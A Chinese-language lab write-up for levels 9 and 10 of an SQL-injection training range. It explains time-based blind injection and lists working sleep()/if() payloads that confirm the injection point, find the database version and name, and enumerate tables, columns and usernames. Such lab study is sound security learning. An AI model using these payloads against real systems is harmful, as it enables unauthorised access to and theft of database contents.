sqli靶场学习记录-第九、十关
第九关和第十关的页面又和前面的都不一样,无论输入什么页面都没啥反应,所以这里前面的方法都不再适用了,就需要试一试时间盲注了
时间盲注的原理是通过让页面睡眠进行信息反馈,比如第九关我们输入下面这样的命令如果页面进入等待状态就证明后端接收到我们的命令了,页面就存在注入点,我们就可以通过一些函数通过页面的反馈进行后续的注入了
?id=1' and sleep(5)--+
注意看左上角页面标签是否在转圈,我们这里设定的是休眠5秒,搭建的靶场是本地访问几乎不会存在延迟,所以页面休眠5秒就证明命令起作用了
这里的闭合方式就需要自己注意试探了,数值型很好测试,字符型就针对单引号、双引号测试,这俩都不是就在后面加括号直到出现反应
(后面就不放效果图了,都一样没啥意义,直接解析代码吧)
1、查询当前数据库版本
需要介绍两个新的函数
sleep()
用python写一些poc自动化脚本或者木马会经常使用到,数据库也有这样的方法,让页面休眠,例如sleep(5)就是让页面休眠5秒
if(a,b,c)
if判定语句很常见,这里的if类似三元运算符,括号内有三个值,第一个是判定条件,第二个和第三个是返回值,判定为true,执行第二个值,判定为false则执行第三个值
判定数据库版本号
输入这样一串代码
?id=1' and if(substr(version(),1,1)=5,null,sleep(5))--+
对版本号的第一个字符进行判定,=5,true执行null,false执行sleep(5),在页面的表现是页面没有变化就是判定成功,页面转圈了就是判定失败
判定库名
版本确定了在5以上,下面就是对当前库的名字进行判定了
?id=1' and if(length(database())=8,null,sleep(5))--+
通过试探,确定了长度为8,接下来就是对库名爆破
?id=1' and if(substr(database(),1,1)='s',null,sleep(5))--+
后面的爆破方式和前面的盲注方法一样,不同点在于页面返回的效果不同
2、爆表
测试表的长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5,null,sleep(5))--+
通过这样一串代码,用length测试长度,用if判定是否正确,就可以通过压面的回显判定我们的猜测是否正确
测试表名
?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u',null,sleep(5))--+
3、爆字段
字段长度
?id=1' and if(length((select column_name from information_schema.columns where table_name='users' limit 4,1))=8,null,sleep(5))--+
字段名
?id=1' and if(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1)='u',null,sleep(5))--+
4、爆数据
数据长度
?id=1' and if(length((select username from users limit 1,1))=8,null,sleep(5))--+
数据内容
?id=1' and if(substr((select username from users limit 1,1),1,1)='A',null,sleep(5))--+
5、第十关说明
第十关和第九关的区别在于闭合的方式
?id=1" and sleep(5)--+
通过测试第十关闭合采用的是双引号,别的注入方式和第九关一模一样就不写了